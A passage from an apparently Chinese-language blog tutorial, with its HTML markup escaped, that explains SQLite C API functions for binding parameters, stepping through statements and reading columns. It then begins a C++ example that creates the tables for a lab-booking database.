*/\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,使用 \u003ccode\u003esqlite_bind\u003c/code\u003e系列函数在声明上绑定变量,以下用 \u003ccode\u003esqlite3_bind_text\u003c/code\u003e 举例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 在声明需要绑定位置的索引,从 1 开始计数 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要绑定的字符串 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串的长度 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 某种析构函数,当绑定失败执行这个吧 */\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e还有 \u003ccode\u003esqlite3_bind_int\u003c/code\u003e,\u003ccode\u003esqlite3_bind_double\u003c/code\u003e之类,用法都差不多。\u003c/p\u003e\n\u003cp\u003e注意,你可以用这个函数寻找声明里面的索引:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_parameter_index\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezName\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要寻找的绑定位置 */\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果没找到的话,就返回 0。\u003c/p\u003e\n\u003cp\u003e现在你可以执行绑定完变量的声明了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个函数执行完,有三个状态:\u003ccode\u003eSQLITE_DONE\u003c/code\u003e,\u003ccode\u003eSQLITE_ROW\u003c/code\u003e和各种报错。接下来我们关注 ``SQLITE_ROW`,也就是返回一条行记录的状况,这个一般会出现在执行了 SELECT 的情况。\u003c/p\u003e\n\u003cp\u003e我们使用 \u003ccode\u003esqlite_column\u003c/code\u003e系列函数取出这些东西,先输入使用到的声明,然后输入索引,返回值就是里面的数据。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_blob\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_double\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003esqlite3_int64\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int64\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003esqlite3_value\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_type\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e清除绑定,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_reset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e删除声明,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_finalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要删除的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"举个-cpp-里面的例子\"\u003e举个 CPP 里面的例子\u003c/h3\u003e\n\u003cp\u003e目前我没有找到能让我舒心使用的 CPP SQLITE 库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-CPP\" data-lang=\"CPP\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstddef\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sqlite3.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sstream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;map\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;algorithm\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e Data Structure\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eTeacherDS\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTno\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTname\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTele\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ePass\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003emap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evector\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epair\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e Database Class\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Database class\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// For insert and delete.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"nf\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Query the empty time in 2022-12-31.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Create an new database file.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// Create an empty database.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_CREATE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// Create new table.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Teacher ( Tno VARCHAR(10), Tname VARCHAR(20), Tele VARCHAR(20) , TRS VARCHAR(30) ,Pass VARCHAR(40),PRIMARY KEY (Tno));\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Instrument ( Ino VARCHAR(10), Iname VARCHAR(20), Stat VARCHAR(10),PRIMARY KEY (Ino));\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Manage( Ino VARCHAR(10),Lno VARCHAR(10),PRIMARY KEY (Ino,Lno),FOREIGN KEY (Ino)REFERENCES Instrument(Ino),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Lab( Lno VARCHAR(10), Lname VARCHAR(40), People INT ,Purpose VARCHAR(40),Time INT,PRIMARY KEY (Lno));\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Orders( Tno VARCHAR(10), Lno VARCHAR(10), Users VARCHAR(30) ,Btime DATETIME,Etime DATETIME,PRIMARY KEY (Tno,Lno,Btime,Etime),FOREIGN KEY (Tno)REFERENCES Teacher(Tno),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE VIEW IF NOT EXISTS SJ_PROJECT AS SELECT Sno,Pno,Qty FROM SPJ,J WHERE Jname = \u0026#39;三建\u0026#39; AND J.Jno = SPJ.Jno;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create tables: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Created database successfully\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan 